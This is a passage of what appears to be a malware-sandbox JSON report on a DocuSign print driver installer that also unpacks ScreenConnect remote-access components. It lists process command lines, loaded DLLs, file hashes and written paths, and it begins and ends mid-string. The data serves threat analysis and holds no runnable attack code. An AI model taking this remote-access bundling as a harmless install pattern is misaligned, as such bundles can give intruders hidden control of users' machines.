JFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":5348,"ppid":3084,"name":"MsiExec.exe","command_line":"-Embedding A1513219D2E733198E83578BBFD3698F","sha256":"9fbdd5c9b70d6e8a2044f311fff947a93dcaf4f08eb6305c4e44e2a5f6112071","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00003084","uid":"00000000-00005348"},{"pid":5036,"ppid":5348,"name":"rundll32.exe","command_line":"\"%WINDIR%\\Installer\\MSI646E.tmp\",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3368656 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments","sha256":"39e95c2a08ad00b25573365d9e2db13ff28b905d4e3c836602b7e0e1f07a07c5","normalized_path":"%WINDIR%\\SysWOW64\\rundll32.exe","parent_uid":"00000000-00005348","uid":"00000000-00005036"},{"pid":2336,"ppid":3084,"name":"MsiExec.exe","command_line":"-Embedding 87C8B0CF6C64EC883530F72035383D3E E Global\\MSI0000","sha256":"9fbdd5c9b70d6e8a2044f311fff947a93dcaf4f08eb6305c4e44e2a5f6112071","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00003084","uid":"00000000-00002336"},{"pid":6500,"ppid":3084,"name":"MsiExec.exe","command_line":"-Embedding 7527B4F8C09CFAE004EA3EC469F4A599 C","sha256":"d53e90af814f61e09bff87a883a3b0dcb7dcf883f17a2425a62a2d4b5a9407fb","normalized_path":"%WINDIR%\\System32\\MsiExec.exe","parent_uid":"00000000-00003084","uid":"00000000-00006500"},{"pid":5136,"ppid":6500,"name":"rundll32.exe","command_line":"\"%TEMP%\\MSIE844.tmp\",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3402343 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings","sha256":"076592ca1957f8f357cc201f0015072c612f5770ad7de85f87f254253c754dd7","normalized_path":"%WINDIR%\\system32\\rundll32.exe","parent_uid":"00000000-00006500","uid":"00000000-00005136"},{"pid":7972,"ppid":3084,"name":"MsiExec.exe","command_line":"-Embedding 43C3790684DFDF866A6E7BCE1D2726B3 C","sha256":"9fbdd5c9b70d6e8a2044f311fff947a93dcaf4f08eb6305c4e44e2a5f6112071","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00003084","uid":"00000000-00007972"},{"pid":5500,"ppid":3084,"name":"MsiExec.exe","command_line":"-Embedding 8E707B031C3CD0B988381CB06A99A8F8","sha256":"9fbdd5c9b70d6e8a2044f311fff947a93dcaf4f08eb6305c4e44e2a5f6112071","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00003084","uid":"00000000-00005500"},{"pid":6724,"ppid":3084,"name":"MsiExec.exe","command_line":"-Embedding 85594912C6E434581A1C15B0A3C26012","sha256":"d53e90af814f61e09bff87a883a3b0dcb7dcf883f17a2425a62a2d4b5a9407fb","normalized_path":"%WINDIR%\\System32\\MsiExec.exe","parent_uid":"00000000-00003084","uid":"00000000-00006724"},{"pid":7224,"ppid":3084,"name":"MsiExec.exe","command_line":"-Embedding D5570AE08DE2F34A1E5CC49B75B1A2AB E Global\\MSI0000","sha256":"9fbdd5c9b70d6e8a2044f311fff947a93dcaf4f08eb6305c4e44e2a5f6112071","normalized_path":"%WINDIR%\\syswow64\\MsiExec.exe","parent_uid":"00000000-00003084","uid":"00000000-00007224"},{"pid":2908,"ppid":3084,"name":"MsiExec.exe","command_line":"-Embedding 6FB760E34E1083DBC6C0CF3067912420 E Global\\MSI0000","sha256":"d53e90af814f61e09bff87a883a3b0dcb7dcf883f17a2425a62a2d4b5a9407fb","normalized_path":"%WINDIR%\\System32\\MsiExec.exe","parent_uid":"00000000-00003084","uid":"00000000-00002908"}],"all_imported_dlls":["ucrtbase_clr0400.dll","rsaenh.dll","System.Configuration.Install.ni.dll","DocuSign.BootstrapperApplication.dll","KernelBase.dll","cryptsp.dll","pwrshsip.dll","iertutil.dll","profapi.dll","bcrypt.dll","netutils.dll","win32u.dll","advapi32.dll","AcLayers.dll","DocuSign.Installer.CustomActions.dll","version.dll","AppxSip.dll","System.Data.dll","System.Transactions.ni.dll","VxSSL32.dll","winnsi.dll","msls31.dll","System.ni.dll","SHCore.dll","crypt32.dll","gdi32full.dll","cryptbase.dll","secur32.dll","srvcli.dll","System.Drawing.dll","msihnd.dll","spinf.dll","fltLib.dll","imm32.dll","System.Xml.ni.dll","System.Windows.Forms.dll","urlmon.dll","vssapi.dll","rasadhlp.dll","wldp.dll","userenv.dll","shlwapi.dll","VxSSL64.dll","CoreMessaging.dll","IPHLPAPI.DLL","vcruntime140_1.dll","psapi.dll","OpcServices.dll","sspicli.dll","msi.dll","netapi32.dll","wow64win.dll","Windows.StateRepositoryPS.dll","System.Core.ni.dll","sppc.dll","spp.dll","sxproxy.dll","pcacli.dll","oleacc.dll","ntasn1.dll","msvcp140.dll","vcruntime140.dll","ole32.dll","Microsoft.PowerShell.Commands.Management.ni.dll","OneCoreCommonProxyStub.dll","umpdc.dll","ws2_32.dll","mscoree.dll","wshext.dll","cfgmgr32.dll","msctf.dll","wow64.dll","powrprof.dll","feclient.dll","ntmarta.dll","cmdext.dll","mscorlib.ni.dll","msasn1.dll","BootstrapperCore.dll","WindowsCodecs.dll","AppResolver.dll","slc.dll","srclient.dll","kernel32.dll","msvcrt.dll","clr.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","WinTypes.dll","propsys.dll","FWPUCLNT.DLL","ScreenConnect.Core.dll","atl.dll","fusion.dll","cryptnet.dll","cabinet.dll","shell32.dll","rpcrt4.dll","user32.dll","msvcp_win.dll","sechost.dll","mscoreei.dll","Microsoft.PowerShell.Security.ni.dll","vcruntime140_clr0400.dll","System.Data.ni.dll","srpapi.dll","edputil.dll","riched20.dll","ncrypt.dll","imagehlp.dll","drvstore.dll","oleaut32.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","comctl32.dll","OnDemandConnRouteHelper.dll","setupapi.dll","GdiPlus.dll","System.Transactions.dll","CoreUIComponents.dll","coml2.dll","ScreenConnect.Windows.dll","gdi32.dll","amsi.dll","uxtheme.dll","comdlg32.dll","wintrust.dll","apphelp.dll","kernel.appcore.dll","ntdll.dll","System.Management.Automation.ni.dll","msisip.dll","System.Configuration.ni.dll","vsstrace.dll","gpapi.dll","System.Management.ni.dll","sfc.dll","Accessibility.dll","virtdisk.dll","OneCoreUAPCommonProxyStub.dll","mswsock.dll","dnsapi.dll","sfc_os.dll","TextInputFramework.dll","TextShaping.dll","BCP47Langs.dll","usp10.dll","bcryptprimitives.dll","clbcatq.dll","clrjit.dll","wow64cpu.dll","usoapi.dll","Microsoft.Deployment.WindowsInstaller.dll","System.DirectoryServices.ni.dll","devrtl.dll","windows.storage.dll","wkscli.dll","msxml3.dll","mpr.dll","RstrtMgr.dll","HU5Kl6n3.dll","Microsoft.Management.Infrastructure.ni.dll","nsi.dll","combase.dll","ucrtbase.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"MSIE844.tmp","sha256":"a54433a3baf843c29d230436b3f56148ff2146aa4cfe5c2d3cd21aa4068fa60a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Microsoft.Deployment.WindowsInstaller.dll","sha256":"cf06d4ed4a8baf88c82d6c9ae0efc81c469de6da8788ab35f373b350a4b4cdca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SecondInstaller.exe","sha256":"9b7633571f696430d523435a44585317e54d01a4a98693d93424177050b91218","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"ScreenConnect.Core.dll","sha256":"1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"DocuSign.BootstrapperApplication.dll","sha256":"6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"DocuSign.BootstrapperApplication.resources.dll","sha256":"f469fa24a4d42937711a769493ad5ae9cb73cdbea1607284ccd0e6deba3618a7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"mbapreq.dll","sha256":"2bea14d70943a42d344e09b7c9de5562fa7e109946e1c615dd584da30d06cc80","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"MSI5691.tmp","sha256":"aecd2d2fe766f6d439acc2bbf1346930ecc535012cf5ad7b3273d2875237b7e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"DocuSign.Installer.CustomActions.dll","sha256":"0c9639fed56eaa486b2c5e0be4b2b56352e95fc7329d7fa4a00580b06bd01ba6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"MSIFE10.tmp","sha256":"c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SC_FeedbackTool.msi","sha256":"c8f361433837afe3ceb00d300e3b922fe5dd56365dade70e3187031166d8676e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Microsoft.Deployment.Compression.Cab.dll","sha256":"9d32032109ffc217b7dc49390bd01a067a49883843459356ebfb4d29ba696bf8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Microsoft.Deployment.Compression.dll","sha256":"e04de7988a2a39931831977fa22d2a4c39cf3f70211b77b618cae9243170f1a7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Microsoft.Deployment.WindowsInstaller.Package.dll","sha256":"548c551f6ebc5d829158a1e9ad1948d301d7c921906c3d8d6b6d69925fc624a1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"ScreenConnect.InstallerActions.dll","sha256":"af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"ScreenConnect.Windows.dll","sha256":"f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"BootstrapperCore.dll","sha256":"f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"mbahost.dll","sha256":"9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Docusign Print Driver x64.exe","sha256":"43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"StartupProfileData-NonInteractive","sha256":"9731cdec8bed46eea1b6730a48c228542a95316a9ff7469a4873dac3072dc918","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D","sha256":"d74c4ae654c03e6b5990252f9ac44b7b608d65ad679876a36ec2f4c753817a92","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"329B6147266C1E26CD774EA22B79EC2E","sha256":"0290dd4b5df4def9eb233faff3c7f00c4a60ba94bba97c4c054015f378abe3a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4","sha256":"55887a0c8c9800cb515f6deb9695ce793abee2d40c858cb4935a9b5d1299c8d5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D","sha256":"256615a912a8595edde2a32983485535f5ca21852ab289e1a4d3cf17978201bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B","sha256":"96b9c6a4ff640b45c5b77ab30a742947bc30806d0d7f314afa1234e62a8c62e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141","sha256":"8904b97a68ddfd63fb8f9b129e99f473ca00fc647a77d8e2c96d254bedda903d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"1A374813EDB1A6631387E414D3E73232","sha256":"ac473642f064e61f8e8213c24cfb755171e855c08bf2158ba4305bd2339d8f07","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"CustomAction.config","sha256":"33d947c04a10e3aff3dca3b779393fa56ce5f02251c8cbae5076a125fdea081f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"__PSScriptPolicyTest_fx4mjibc.1z2.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"__PSScriptPolicyTest_iulw3s4j.zl2.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"__PSScriptPolicyTest_lx2kkz1u.4hw.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"ja.mst","sha256":"f38b369e550f6426e2308fff087330ec0a2f6d00d56e91198a084b85c3263efe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"ko.mst","sha256":"985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"nl.mst","sha256":"18b00c5f543350a94d144bb69143a97821e892a74dca501d0ba93c21dd539f7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"pt-br.mst","sha256":"c21434a99e82f646152686100e96457661ed8f541fb4787ad68b955f89edcca7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"pt.mst","sha256":"cfb4fb4c3aea07cd5d473ae9680076c65f5c2161b1f534282a4d87aed0c74e0c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"ru.mst","sha256":"ed902044377ec7de0fafdd80836b7c6ff66a2f9b29b9782969b562a1054bd635","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"zh-cn.mst","sha256":"e55ffe8a6eef0c42bdf1881e95461ef735230c25aebeb31d9e915a1243adb1e0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"zh-tw.mst","sha256":"4fb2e010d538045fd20724e8e2284c4cd5e5452e2484e592852600af53c4d31d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"fr.mst","sha256":"c86dee1f60bab41472281e953f6a8834cfbb8a88e00b4ecbb4bf7d0089f7cfd3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"de.mst","sha256":"02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"es.mst","sha256":"0c7420cc4bd0fb0fcf23786101b70aebaf67eaca7ee54f20380e32d335139ac7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"it.mst","sha256":"54e62ed39933a2f5518cd3a717499fc99dbbecad0d868b41cc1e6cf8e1df3bd3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\SC_FeedbackTool-bat.log","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_iulw3s4j.zl2.ps1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ybg1iizh.fbb.psm1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\SC_FeedbackTool_107829898\\SC_FeedbackTool.msi","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_lx2kkz1u.4hw.ps1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_0rkn2u2x.vdx.psm1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\SC_FeedbackTool_107829898\\SecondInstaller.exe","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fx4mjibc.1z2.ps1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vemvf40a.vqq.psm1","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"pipe\\GmdAslLogger","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{768A3F2B-CA05-49E6-9E81-BF3FFA4377AB}\\.cr\\SecondInstaller.exe","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\mbahost.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\BootstrapperCore.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\1030\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\1031\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\1038\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\1041\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\1044\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\1046\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\2070\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\BootstrapperCore.config","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\mbapreq.thm","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\es\\DocuSign.BootstrapperApplication.resources.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\fr\\DocuSign.BootstrapperApplication.resources.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\it\\DocuSign.BootstrapperApplication.resources.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\ko\\DocuSign.BootstrapperApplication.resources.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\nl\\DocuSign.BootstrapperApplication.resources.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\1040\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\1053\\mbapreq.wxl","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\zh-hans\\DocuSign.BootstrapperApplication.resources.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\zh-hant\\DocuSign.BootstrapperApplication.resources.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.ba\\BootstrapperApplicationData.xml","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\.be\\Docusign Print Driver x64.exe","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\ja.mst","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\ko.mst","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\nl.mst","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\pt-br.mst","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\pt.mst","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\ru.mst","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Temp\\{67305BB7-EDF1-436B-AA8F-6DAA4D63B4CC}\\zh-cn.mst","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"pipe\\BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55}","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"pipe\\BurnPipe.{C57982AE-9F6C-42F6-A344-005FF1425F55}.Cache","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"GLOBALROOT\\Device\\HarddiskVolume2","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%ALLUSERSPROFILE%\\Package Cache\\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}v3.6.3.0","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%ALLUSERSPROFILE%\\Package Cache\\.unverified","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\Docusign_Print_Driver_3.6.3_(xps_x64)_20261106093555_000_MainPackage.log","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\